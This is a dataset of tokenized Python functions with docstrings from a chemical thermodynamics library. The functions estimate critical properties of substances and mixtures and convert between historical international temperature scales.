{"signature": "def third_property(CASRN=None, T=False, P=False, V=False):", "body": "Third = None<EOL>if V:<EOL><INDENT>Tc_methods = Tc(CASRN, AvailableMethods=True)[<NUM_LIT:0>:-<NUM_LIT:2>]<EOL>Pc_methods = Pc(CASRN, AvailableMethods=True)[<NUM_LIT:0>:-<NUM_LIT:2>]<EOL>if Tc_methods and Pc_methods:<EOL><INDENT>_Tc = Tc(CASRN=CASRN, Method=Tc_methods[<NUM_LIT:0>])<EOL>_Pc = Pc(CASRN=CASRN, Method=Pc_methods[<NUM_LIT:0>])<EOL>Third = critical_surface(Tc=_Tc, Pc=_Pc, Vc=None)<EOL><DEDENT><DEDENT>elif P:<EOL><INDENT>Tc_methods = Tc(CASRN, AvailableMethods=True)[<NUM_LIT:0>:-<NUM_LIT:2>]<EOL>Vc_methods = Vc(CASRN, AvailableMethods=True)[<NUM_LIT:0>:-<NUM_LIT:2>]<EOL>if Tc_methods and Vc_methods:<EOL><INDENT>_Tc = Tc(CASRN=CASRN, Method=Tc_methods[<NUM_LIT:0>])<EOL>_Vc = Vc(CASRN=CASRN, Method=Vc_methods[<NUM_LIT:0>])<EOL>Third = critical_surface(Tc=_Tc, Vc=_Vc, Pc=None)<EOL><DEDENT><DEDENT>elif T:<EOL><INDENT>Pc_methods = Pc(CASRN, AvailableMethods=True)[<NUM_LIT:0>:-<NUM_LIT:2>]<EOL>Vc_methods = Vc(CASRN, AvailableMethods=True)[<NUM_LIT:0>:-<NUM_LIT:2>]<EOL>if Pc_methods and Vc_methods:<EOL><INDENT>_Pc = Pc(CASRN=CASRN, Method=Pc_methods[<NUM_LIT:0>])<EOL>_Vc = Vc(CASRN=CASRN, Method=Vc_methods[<NUM_LIT:0>])<EOL>Third = critical_surface(Pc=_Pc, Vc=_Vc, Tc=None)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if not Third:<EOL><INDENT>return None<EOL><DEDENT>return Third<EOL>", "docstring": "r'''Function for calculating a critical property of a substance from its\n    other two critical properties, but retrieving the actual other critical\n    values for convenient calculation.\n    Calls functions Ihmels, Meissner, and\n    Grigoras, each of which use a general 'Critical surface' type of equation.\n    Limited accuracy is expected due to very limited theoretical backing.\n\n    Parameters\n    ----------\n    CASRN : string\n        The CAS number of the desired chemical\n    T : bool\n        Estimate critical temperature\n    P : bool\n        Estimate critical pressure\n    V : bool\n        Estimate critical volume\n\n    Returns\n    -------\n    Tc, Pc or Vc : float\n        Critical property of fluid [K], [Pa], or [m^3/mol]\n\n    Notes\n    -----\n    Avoids recursion only by eliminating the None and critical surface options\n    for calculating each critical property. So long as it never calls itself.\n    Note that when used by Tc, Pc or Vc, this function results in said function\n    calling the other functions (to determine methods) and (with method specified)\n\n    Examples\n    --------\n    >>> # Decamethyltetrasiloxane [141-62-8]\n    >>> third_property('141-62-8', V=True)\n    0.0010920041152263375\n\n    >>> # Succinic acid 110-15-6\n    >>> third_property('110-15-6', P=True)\n    6095016.233766234", "id": "f15798:m9"}
{"signature": "def Li(zs, Tcs, Vcs):", "body": "if not none_and_length_check([zs, Tcs, Vcs]):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>denominator = sum(zs[i]*Vcs[i] for i in range(len(zs)))<EOL>Tcm = <NUM_LIT:0><EOL>for i in range(len(zs)):<EOL><INDENT>Tcm += zs[i]*Vcs[i]*Tcs[i]/denominator<EOL><DEDENT>return Tcm<EOL>", "docstring": "r'''Calculates critical temperature of a mixture according to\n    mixing rules in [1]_. Better than simple mixing rules.\n\n    .. math::\n        T_{cm} = \\sum_{i=1}^n \\Phi_i T_{ci}\\\\\n        \\Phi = \\frac{x_i V_{ci}}{\\sum_{j=1}^n x_j V_{cj}}\n\n    Parameters\n    ----------\n    zs : array-like\n        Mole fractions of all components\n    Tcs : array-like\n        Critical temperatures of all components, [K]\n    Vcs : array-like\n        Critical volumes of all components, [m^3/mol]\n\n    Returns\n    -------\n    Tcm : float\n        Critical temperatures of the mixture, [K]\n\n    Notes\n    -----\n    Reviewed in many papers on critical mixture temperature.\n\n    Second example is from Najafi (2015), for ethylene, Benzene, ethylbenzene.\n    This is similar to but not identical to the result from the article. The\n    experimental point is 486.9 K.\n\n    2rd example is from Najafi (2015), for:\n    butane/pentane/hexane 0.6449/0.2359/0.1192 mixture, exp: 450.22 K.\n    Its result is identical to that calculated in the article.\n\n    Examples\n    --------\n    Nitrogen-Argon 50/50 mixture\n\n    >>> Li([0.5, 0.5], [126.2, 150.8], [8.95e-05, 7.49e-05])\n    137.40766423357667\n\n    butane/pentane/hexane 0.6449/0.2359/0.1192 mixture, exp: 450.22 K.\n\n    >>> Li([0.6449, 0.2359, 0.1192], [425.12, 469.7, 507.6],\n    ... [0.000255, 0.000313, 0.000371])\n    449.68261498555444\n\n    References\n    ----------\n    .. [1] Li, C. C. \"Critical Temperature Estimation for Simple Mixtures.\"\n       The Canadian Journal of Chemical Engineering 49, no. 5\n       (October 1, 1971): 709-10. doi:10.1002/cjce.5450490529.", "id": "f15798:m10"}
{"signature": "def Chueh_Prausnitz_Tc(zs, Tcs, Vcs, taus):", "body": "if not none_and_length_check([zs, Tcs, Vcs]):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>denominator = sum(zs[i]*Vcs[i]**(<NUM_LIT:2>/<NUM_LIT>) for i in range(len(zs)))<EOL>Tcm = <NUM_LIT:0><EOL>for i in range(len(zs)):<EOL><INDENT>Tcm += zs[i]*Vcs[i]**(<NUM_LIT:2>/<NUM_LIT>)*Tcs[i]/denominator<EOL>for j in range(len(zs)):<EOL><INDENT>Tcm += (zs[i]*Vcs[i]**(<NUM_LIT:2>/<NUM_LIT>)/denominator)*(zs[j]*Vcs[j]**(<NUM_LIT:2>/<NUM_LIT>)/denominator)*taus[i][j]<EOL><DEDENT><DEDENT>return Tcm<EOL>", "docstring": "r'''Calculates critical temperature of a mixture according to\n    mixing rules in [1]_.\n\n    .. math::\n        T_{cm} = \\sum_i^n \\theta_i Tc_i + \\sum_i^n\\sum_j^n(\\theta_i \\theta_j\n        \\tau_{ij})T_{ref}\n\n        \\theta = \\frac{x_i V_{ci}^{2/3}}{\\sum_{j=1}^n x_j V_{cj}^{2/3}}\n\n    For a binary mxiture, this simplifies to:\n\n    .. math::\n        T_{cm} = \\theta_1T_{c1} + \\theta_2T_{c2}  + 2\\theta_1\\theta_2\\tau_{12}\n\n    Parameters\n    ----------\n    zs : array-like\n        Mole fractions of all components\n    Tcs : array-like\n        Critical temperatures of all components, [K]\n    Vcs : array-like\n        Critical volumes of all components, [m^3/mol]\n    taus : array-like of shape `zs` by `zs`\n        Interaction parameters\n\n    Returns\n    -------\n    Tcm : float\n        Critical temperatures of the mixture, [K]\n\n    Notes\n    -----\n    All parameters, even if zero, must be given to this function.\n\n    Examples\n    --------\n    butane/pentane/hexane 0.6449/0.2359/0.1192 mixture, exp: 450.22 K.\n\n    >>> Chueh_Prausnitz_Tc([0.6449, 0.2359, 0.1192], [425.12, 469.7, 507.6],\n    ... [0.000255, 0.000313, 0.000371], [[0, 1.92681, 6.80358],\n    ... [1.92681, 0, 1.89312], [ 6.80358, 1.89312, 0]])\n    450.1225764723492\n\n    References\n    ----------\n    .. [1] Chueh, P. L., and J. M. Prausnitz. \"Vapor-Liquid Equilibria at High\n       Pressures: Calculation of Critical Temperatures, Volumes, and Pressures\n       of Nonpolar Mixtures.\" AIChE Journal 13, no. 6 (November 1, 1967):\n       1107-13. doi:10.1002/aic.690130613.\n    .. [2] Najafi, Hamidreza, Babak Maghbooli, and Mohammad Amin Sobati.\n       \"Prediction of True Critical Temperature of Multi-Component Mixtures:\n       Extending Fast Estimation Methods.\" Fluid Phase Equilibria 392\n       (April 25, 2015): 104-26. doi:10.1016/j.fluid.2015.02.001.", "id": "f15798:m11"}
{"signature": "def Grieves_Thodos(zs, Tcs, Aijs):", "body": "if not none_and_length_check([zs, Tcs]):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>Tcm = <NUM_LIT:0><EOL>for i in range(len(zs)):<EOL><INDENT>Tcm += Tcs[i]/(<NUM_LIT:1.> + <NUM_LIT:1.>/zs[i]*sum(Aijs[i][j]*zs[j] for j in range(len(zs))))<EOL><DEDENT>return Tcm<EOL>", "docstring": "r'''Calculates critical temperature of a mixture according to\n    mixing rules in [1]_.\n\n    .. math::\n        T_{cm} = \\sum_{i} \\frac{T_{ci}}{1 + (1/x_i)\\sum_j A_{ij} x_j}\n\n    For a binary mxiture, this simplifies to:\n\n    .. math::\n        T_{cm} = \\frac{T_{c1}}{1 + (x_2/x_1)A_{12}} +  \\frac{T_{c2}}\n        {1 + (x_1/x_2)A_{21}}\n\n    Parameters\n    ----------\n    zs : array-like\n        Mole fractions of all components\n    Tcs : array-like\n        Critical temperatures of all components, [K]\n    Aijs : array-like of shape `zs` by `zs`\n        Interaction parameters\n\n    Returns\n    -------\n    Tcm : float\n        Critical temperatures of the mixture, [K]\n\n    Notes\n    -----\n    All parameters, even if zero, must be given to this function.\n    Giving 0s gives really bad results however.\n\n    Examples\n    --------\n    butane/pentane/hexane 0.6449/0.2359/0.1192 mixture, exp: 450.22 K.\n\n    >>> Grieves_Thodos([0.6449, 0.2359, 0.1192], [425.12, 469.7, 507.6], [[0, 1.2503, 1.516], [0.799807, 0, 1.23843], [0.659633, 0.807474, 0]])\n    450.1839618758971\n\n    References\n    ----------\n    .. [1] Grieves, Robert B., and George Thodos. \"The Critical Temperatures of\n       Multicomponent Hydrocarbon Systems.\" AIChE Journal 8, no. 4\n       (September 1, 1962): 550-53. doi:10.1002/aic.690080426.\n    .. [2] Najafi, Hamidreza, Babak Maghbooli, and Mohammad Amin Sobati.\n       \"Prediction of True Critical Temperature of Multi-Component Mixtures:\n       Extending Fast Estimation Methods.\" Fluid Phase Equilibria 392\n       (April 25, 2015): 104-26. doi:10.1016/j.fluid.2015.02.001.", "id": "f15798:m12"}
{"signature": "def modified_Wilson_Tc(zs, Tcs, Aijs):", "body": "if not none_and_length_check([zs, Tcs]):<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>C = -<NUM_LIT><EOL>Tcm = sum(zs[i]*Tcs[i] for i in range(len(zs)))<EOL>for i in range(len(zs)):<EOL><INDENT>Tcm += C*zs[i]*log(zs[i] + sum(zs[j]*Aijs[i][j] for j in range(len(zs))))<EOL><DEDENT>return Tcm<EOL>", "docstring": "r'''Calculates critical temperature of a mixture according to\n    mixing rules in [1]_. Equation\n\n    .. math::\n        T_{cm} = \\sum_i x_i T_{ci} + C\\sum_i x_i \\ln \\left(x_i + \\sum_j x_j A_{ij}\\right)T_{ref}\n\n    For a binary mxiture, this simplifies to:\n\n    .. math::\n        T_{cm} = x_1 T_{c1} + x_2 T_{c2} + C[x_1 \\ln(x_1 + x_2A_{12}) + x_2\\ln(x_2 + x_1 A_{21})]\n\n    Parameters\n    ----------\n    zs : float\n        Mole fractions of all components\n    Tcs : float\n        Critical temperatures of all components, [K]\n    Aijs : matrix\n        Interaction parameters\n\n    Returns\n    -------\n    Tcm : float\n        Critical temperatures of the mixture, [K]\n\n    Notes\n    -----\n    The equation and original article has been reviewed.\n    [1]_ has 75 binary systems, and additional multicomponent mixture parameters.\n    All parameters, even if zero, must be given to this function.\n\n    2rd example is from [2]_, for:\n    butane/pentane/hexane 0.6449/0.2359/0.1192 mixture, exp: 450.22 K.\n    Its result is identical to that calculated in the article.\n\n    Examples\n    --------\n    >>> modified_Wilson_Tc([0.6449, 0.2359, 0.1192], [425.12, 469.7, 507.6],\n    ... [[0, 1.174450, 1.274390], [0.835914, 0, 1.21038],\n    ... [0.746878, 0.80677, 0]])\n    450.0305966823031\n\n    References\n    ----------\n    .. [1] Teja, Amyn S., Kul B. Garg, and Richard L. Smith. \"A Method for the\n       Calculation of Gas-Liquid Critical Temperatures and Pressures of\n       Multicomponent Mixtures.\" Industrial & Engineering Chemistry Process\n       Design and Development 22, no. 4 (1983): 672-76.\n    .. [2] Najafi, Hamidreza, Babak Maghbooli, and Mohammad Amin Sobati.\n       \"Prediction of True Critical Temperature of Multi-Component Mixtures:\n       Extending Fast Estimation Methods.\" Fluid Phase Equilibria 392\n       (April 25, 2015): 104-26. doi:10.1016/j.fluid.2015.02.001.", "id": "f15798:m13"}
{"signature": "def Tc_mixture(Tcs=None, zs=None, CASRNs=None, AvailableMethods=False, Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if none_and_length_check([Tcs]):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>methods.append('<STR_LIT:None>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == '<STR_LIT>':<EOL><INDENT>return mixing_simple(zs, Tcs)<EOL><DEDENT>elif Method == '<STR_LIT:None>':<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "This function handles the retrival of a mixture's critical temperature.\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.\n\n    >>> Tc_mixture([400, 550], [0.3, 0.7])\n    505.0", "id": "f15798:m14"}
{"signature": "def Pc_mixture(Pcs=None, zs=None, CASRNs=None, AvailableMethods=False, Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if none_and_length_check([Pcs]):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>methods.append('<STR_LIT:None>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == '<STR_LIT>':<EOL><INDENT>return mixing_simple(zs, Pcs)<EOL><DEDENT>elif Method == '<STR_LIT:None>':<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "This function handles the retrival of a mixture's critical temperature.\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.\n\n    >>> Pc_mixture([2.2E7, 1.1E7], [0.3, 0.7])\n    14300000.0", "id": "f15798:m15"}
{"signature": "def Chueh_Prausnitz_Vc(zs, Vcs, nus):", "body": "if not none_and_length_check([zs, Vcs]): <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>denominator = sum(zs[i]*Vcs[i]**(<NUM_LIT:2>/<NUM_LIT>) for i in range(len(zs)))<EOL>Vcm = <NUM_LIT:0><EOL>for i in range(len(zs)):<EOL><INDENT>Vcm += zs[i]*Vcs[i]**(<NUM_LIT:2>/<NUM_LIT>)*Vcs[i]/denominator<EOL>for j in range(len(zs)):<EOL><INDENT>Vcm += (zs[i]*Vcs[i]**(<NUM_LIT:2>/<NUM_LIT>)/denominator)*(zs[j]*Vcs[j]**(<NUM_LIT:2>/<NUM_LIT>)/denominator)*nus[i][j]/<NUM_LIT><EOL><DEDENT><DEDENT>return Vcm<EOL>", "docstring": "r'''Calculates critical volume of a mixture according to\n    mixing rules in [1]_ with an interaction parameter.\n\n    .. math::\n        V_{cm} = \\sum_i^n \\theta_i V_{ci} + \\sum_i^n\\sum_j^n(\\theta_i \\theta_j \\nu_{ij})V_{ref}\n        \\theta = \\frac{x_i V_{ci}^{2/3}}{\\sum_{j=1}^n x_j V_{cj}^{2/3}}\n\n    Parameters\n    ----------\n    zs : float\n        Mole fractions of all components\n    Vcs : float\n        Critical volumes of all components, [m^3/mol]\n    nus : matrix\n        Interaction parameters, [cm^3/mol]\n\n    Returns\n    -------\n    Vcm : float\n        Critical volume of the mixture, [m^3/mol]\n\n    Notes\n    -----\n    All parameters, even if zero, must be given to this function.\n    nu parameters are in cm^3/mol, but are converted to m^3/mol inside the function\n\n\n    Examples\n    --------\n    1-butanol/benzene 0.4271/0.5729 mixture, Vcm = 268.096 mL/mol.\n\n    >>> Chueh_Prausnitz_Vc([0.4271, 0.5729], [0.000273, 0.000256], [[0, 5.61847], [5.61847, 0]])\n    0.00026620503424517445\n\n    References\n    ----------\n    .. [1] Chueh, P. L., and J. M. Prausnitz. \"Vapor-Liquid Equilibria at High\n       Pressures: Calculation of Critical Temperatures, Volumes, and Pressures\n       of Nonpolar Mixtures.\" AIChE Journal 13, no. 6 (November 1, 1967):\n       1107-13. doi:10.1002/aic.690130613.\n    .. [2] Najafi, Hamidreza, Babak Maghbooli, and Mohammad Amin Sobati.\n       \"Prediction of True Critical Volume of Multi-Component Mixtures:\n       Extending Fast Estimation Methods.\" Fluid Phase Equilibria 386\n       (January 25, 2015): 13-29. doi:10.1016/j.fluid.2014.11.008.", "id": "f15798:m16"}
{"signature": "def modified_Wilson_Vc(zs, Vcs, Aijs):", "body": "if not none_and_length_check([zs, Vcs]): <EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>C = -<NUM_LIT><EOL>Vcm = sum(zs[i]*Vcs[i] for i in range(len(zs)))<EOL>for i in range(len(zs)):<EOL><INDENT>Vcm += C*zs[i]*log(zs[i] + sum(zs[j]*Aijs[i][j] for j in range(len(zs))))/<NUM_LIT><EOL><DEDENT>return Vcm<EOL>", "docstring": "r'''Calculates critical volume of a mixture according to\n    mixing rules in [1]_ with parameters. Equation\n\n    .. math::\n        V_{cm} = \\sum_i x_i V_{ci} + C\\sum_i x_i \\ln \\left(x_i + \\sum_j x_j A_{ij}\\right)V_{ref}\n\n    For a binary mxiture, this simplifies to:\n\n    .. math::\n        V_{cm} = x_1 V_{c1} + x_2 V_{c2} + C[x_1 \\ln(x_1 + x_2A_{12}) + x_2\\ln(x_2 + x_1 A_{21})]\n\n    Parameters\n    ----------\n    zs : float\n        Mole fractions of all components\n    Vcs : float\n        Critical volumes of all components, [m^3/mol]\n    Aijs : matrix\n        Interaction parameters, [cm^3/mol]\n\n    Returns\n    -------\n    Vcm : float\n        Critical volume of the mixture, [m^3/mol]\n\n    Notes\n    -----\n    The equation and original article has been reviewed.\n    All parameters, even if zero, must be given to this function.\n    C = -2500\n\n    All parameters, even if zero, must be given to this function.\n    nu parameters are in cm^3/mol, but are converted to m^3/mol inside the function\n\n\n    Examples\n    --------\n    1-butanol/benzene 0.4271/0.5729 mixture, Vcm = 268.096 mL/mol.\n\n    >>> modified_Wilson_Vc([0.4271, 0.5729], [0.000273, 0.000256],\n    ... [[0, 0.6671250], [1.3939900, 0]])\n    0.0002664335032706881\n\n    References\n    ----------\n    .. [1] Teja, Amyn S., Kul B. Garg, and Richard L. Smith. \"A Method for the\n       Calculation of Gas-Liquid Critical Temperatures and Pressures of\n       Multicomponent Mixtures.\" Industrial & Engineering Chemistry Process\n       Design and Development 22, no. 4 (1983): 672-76.\n    .. [2] Najafi, Hamidreza, Babak Maghbooli, and Mohammad Amin Sobati.\n       \"Prediction of True Critical Temperature of Multi-Component Mixtures:\n       Extending Fast Estimation Methods.\" Fluid Phase Equilibria 392\n       (April 25, 2015): 104-26. doi:10.1016/j.fluid.2015.02.001.", "id": "f15798:m17"}
{"signature": "def Vc_mixture(Vcs=None, zs=None, CASRNs=None, AvailableMethods=False, Method=None):  ", "body": "def list_methods():<EOL><INDENT>methods = []<EOL>if none_and_length_check([Vcs]):<EOL><INDENT>methods.append('<STR_LIT>')<EOL><DEDENT>methods.append('<STR_LIT:None>')<EOL>return methods<EOL><DEDENT>if AvailableMethods:<EOL><INDENT>return list_methods()<EOL><DEDENT>if not Method:<EOL><INDENT>Method = list_methods()[<NUM_LIT:0>]<EOL><DEDENT>if Method == '<STR_LIT>':<EOL><INDENT>return mixing_simple(zs, Vcs)<EOL><DEDENT>elif Method == '<STR_LIT:None>':<EOL><INDENT>return None<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "This function handles the retrival of a mixture's critical temperature.\n\n    This API is considered experimental, and is expected to be removed in a\n    future release in favor of a more complete object-oriented interface.\n\n    >>> Vc_mixture([5.6E-5, 2E-4], [0.3, 0.7])\n    0.0001568", "id": "f15798:m18"}
{"signature": "def ITS90_68_difference(T):", "body": "ais = [-<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, <NUM_LIT>,<EOL>-<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>,<EOL>-<NUM_LIT>]<EOL>bis = [<NUM_LIT:0>, -<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, -<NUM_LIT>,<EOL><NUM_LIT>, -<NUM_LIT>]<EOL><INDENT>cis = [-<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, -<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>,<EOL><NUM_LIT>]<EOL><DEDENT>new_cs = [<NUM_LIT>, -<NUM_LIT>, <NUM_LIT>, -<NUM_LIT>,<EOL><NUM_LIT>, -<NUM_LIT>]<EOL>dT = <NUM_LIT:0><EOL>if T < <NUM_LIT>:<EOL><INDENT>dT = <NUM_LIT:0><EOL><DEDENT>elif T >= <NUM_LIT> and T <= <NUM_LIT>:<EOL><INDENT>for i in range(<NUM_LIT>):<EOL><INDENT>dT += ais[i]*((T - <NUM_LIT>)/<NUM_LIT>)**i<EOL><DEDENT><DEDENT>elif T > <NUM_LIT> and T < <NUM_LIT>:<EOL><INDENT>dT = <NUM_LIT:0><EOL><DEDENT>elif T >= <NUM_LIT> and T <= <NUM_LIT>:<EOL><INDENT>for i in range(<NUM_LIT:9>):<EOL><INDENT>dT += bis[i]*((T - <NUM_LIT>)/<NUM_LIT>)**i<EOL><DEDENT><DEDENT>elif T > <NUM_LIT> and T <= <NUM_LIT>:<EOL><INDENT>for i in range(<NUM_LIT:6>):<EOL><INDENT>dT += new_cs[i]*(T-<NUM_LIT>)**i<EOL><DEDENT><DEDENT>elif T > <NUM_LIT>:<EOL><INDENT>dT = -<NUM_LIT>*T**<NUM_LIT:2><EOL><DEDENT>return dT<EOL>", "docstring": "r'''Calculates the difference between ITS-90 and ITS-68 scales using a\n    series of models listed in [1]_, [2]_, and [3]_.\n\n    The temperature difference is given by the following equations:\n\n    From 13.8 K to 73.15 K:\n\n    .. math::\n        T_{90} - T_{68} = a_0 + \\sum_{i=1}^{12} a_i[(T_{90}/K-40)/40]^i\n\n    From 83.8 K to 903.75 K:\n\n    .. math::\n        T_{90} - T_{68} = \\sum_{i=1}^8 b_i[(T_{90}/K - 273.15)/630]^i\n\n    From 903.75 K to 1337.33 K:\n\n    .. math::\n        T_{90} - T_{68} = \\sum_{i=0}^5 c_i[T_{90}/^\\circ C]^i\n\n    Above 1337.33 K:\n\n    .. math::\n        T_{90} - T_{68} = -1.398\\cdot 10^{-7}\\left(\\frac{T_{90}}{K}\\right)^2\n\n\n    Parameters\n    ----------\n    T : float\n        Temperature, ITS-90, or approximately ITS-68 [K]\n\n    Returns\n    -------\n    dT : float\n        Temperature, difference between ITS-90 and ITS-68 at T [K]\n\n    Notes\n    -----\n    The conversion is straightforward when T90 is known. Theoretically, the\n    model should be solved numerically to convert the reverse way. However,\n    according to [4]_, the difference is under 0.05 mK from 73.15 K to\n    903.15 K, and under 0.26 mK up to 1337.33 K.\n\n    For temperatures under 13.8 K, no conversion is performed.\n\n    The first set of coefficients are:\n    -0.005903, 0.008174, -0.061924, -0.193388, 1.490793, 1.252347, -9.835868,\n    1.411912, 25.277595, -19.183815, -18.437089, 27.000895, -8.716324.\n\n    The second set of coefficients are:\n    0, -0.148759, -0.267408, 1.08076, 1.269056, -4.089591, -1.871251,\n    7.438081, -3.536296.\n\n    The third set of coefficients are:\n    7.8687209E1, -4.7135991E-1, 1.0954715E-3, -1.2357884E-6, 6.7736583E-10,\n    -1.4458081E-13.\n    These last coefficients use the temperature in degrees Celcius. A slightly\n    older model used the following coefficients but a different equation over\n    the same range:\n    -0.00317, -0.97737, 1.2559, 2.03295, -5.91887, -3.23561, 7.23364,\n    5.04151. The model for these coefficients was:\n\n    .. math::\n        T_{90} - T_{68} = c_0 + \\sum_{i=1}^7 c_i[(T_{90}/K - 1173.15)/300]^i\n\n    For temperatures larger than several thousand K, the differences have no\n    meaning and grows quadratically.\n\n    Examples\n    --------\n    >>> ITS90_68_difference(1000.)\n    0.01231818956580355\n\n    References\n    ----------\n    .. [1] Bedford, R. E., G. Bonnier, H. Maas, and F. Pavese. \"Techniques for\n       Approximating the International Temperature Scale of 1990.\" Bureau\n       International Des Poids et Mesures, Sfievres, 1990.\n    .. [2] Wier, Ron D., and Robert N. Goldberg. \"On the Conversion of\n       Thermodynamic Properties to the Basis of the International Temperature\n       Scale of 1990.\" The Journal of Chemical Thermodynamics 28, no. 3\n       (March 1996): 261-76. doi:10.1006/jcht.1996.0026.\n    .. [3] Goldberg, Robert N., and R. D. Weir. \"Conversion of Temperatures\n       and Thermodynamic Properties to the Basis of the International\n       Temperature Scale of 1990 (Technical Report).\" Pure and Applied\n       Chemistry 64, no. 10 (1992): 1545-1562. doi:10.1351/pac199264101545.\n    .. [4] Code10.info. \"Conversions among International Temperature Scales.\"\n       Accessed May 22, 2016. http://www.code10.info/index.php%3Foption%3Dcom_content%26view%3Darticle%26id%3D83:conversions-among-international-temperature-scales%26catid%3D60:temperature%26Itemid%3D83.", "id": "f15799:m0"}
{"signature": "def T_converter(T, current, desired):", "body": "def range_check(T, Tmin, Tmax):<EOL><INDENT>if T < Tmin or T > Tmax:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>try:<EOL><INDENT>if current == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>elif current == '<STR_LIT>':<EOL><INDENT>range_check(T, <NUM_LIT>, <NUM_LIT>)<EOL>T = T68_to_T90(T)<EOL><DEDENT>elif current == '<STR_LIT>':<EOL><INDENT>range_check(T, <NUM_LIT>, <NUM_LIT>)<EOL>T = T76_to_T90(T)<EOL><DEDENT>elif current == '<STR_LIT>':<EOL><INDENT>range_check(T, <NUM_LIT>, <NUM_LIT>)<EOL>T = T48_to_T90(T)<EOL><DEDENT>elif current == '<STR_LIT>':<EOL><INDENT>range_check(T, <NUM_LIT>, <NUM_LIT>)<EOL>T = T27_to_T90(T)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>if desired == '<STR_LIT>':<EOL><INDENT>pass<EOL><DEDENT>elif desired == '<STR_LIT>':<EOL><INDENT>range_check(T, <NUM_LIT>, <NUM_LIT>)<EOL>T = T90_to_T68(T)<EOL><DEDENT>elif desired == '<STR_LIT>':<EOL><INDENT>range_check(T, <NUM_LIT>, <NUM_LIT>)<EOL>T = T90_to_T76(T)<EOL><DEDENT>elif desired == '<STR_LIT>':<EOL><INDENT>range_check(T, <NUM_LIT>, <NUM_LIT>)<EOL>T = T90_to_T48(T)<EOL><DEDENT>elif desired == '<STR_LIT>':<EOL><INDENT>range_check(T, <NUM_LIT>, <NUM_LIT>)<EOL>T = T90_to_T27(T)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>return float(T)<EOL>", "docstring": "r'''Converts the a temperature reading made in any of the scales\n    'ITS-90', 'ITS-68','ITS-48', 'ITS-76', or 'ITS-27' to any of the other\n    scales. Not all temperature ranges can be converted to other ranges; for\n    instance, 'ITS-76' is purely for low temperatures, and 5 K on it has no\n    conversion to 'ITS-90' or any other scale. Both a conversion to ITS-90 and\n    to the desired scale must be possible for the conversion to occur.\n    The conversion uses cubic spline interpolation.\n\n    ITS-68 conversion is valid from 14 K to 4300 K.\n    ITS-48 conversion is valid from 93.15 K to 4273.15 K\n    ITS-76 conversion is valid from 5 K to 27 K.\n    ITS-27 is valid from 903.15 K to 4273.15 k.\n\n    Parameters\n    ----------\n    T : float\n        Temperature, on `current` scale [K]\n    current : str\n        String representing the scale T is in, 'ITS-90', 'ITS-68',\n        'ITS-48', 'ITS-76', or 'ITS-27'.\n    desired : str\n        String representing the scale T will be returned in, 'ITS-90',\n        'ITS-68', 'ITS-48', 'ITS-76', or 'ITS-27'.\n\n    Returns\n    -------\n    T : float\n        Temperature, on scale `desired` [K]\n\n    Notes\n    -----\n    Because the conversion is performed by spline functions, a re-conversion\n    of a value will not yield exactly the original value. However, it is quite\n    close.\n\n    The use of splines is quite quick (20 micro seconds/calculation). While\n    just a spline for one-way conversion could be used, a numerical solver\n    would have to be used to obtain an exact result for the reverse conversion.\n    This was found to take approximately 1 ms/calculation, depending on the\n    region.\n\n    Examples\n    --------\n    >>> T_converter(500, 'ITS-68', 'ITS-48')\n    499.9470092992346\n\n    References\n    ----------\n    .. [1] Wier, Ron D., and Robert N. Goldberg. \"On the Conversion of\n       Thermodynamic Properties to the Basis of the International Temperature\n       Scale of 1990.\" The Journal of Chemical Thermodynamics 28, no. 3\n       (March 1996): 261-76. doi:10.1006/jcht.1996.0026.\n    .. [2] Goldberg, Robert N., and R. D. Weir. \"Conversion of Temperatures\n       and Thermodynamic Properties to the Basis of the International\n       Temperature Scale of 1990 (Technical Report).\" Pure and Applied\n       Chemistry 64, no. 10 (1992): 1545-1562. doi:10.1351/pac199264101545.", "id": "f15799:m1"}
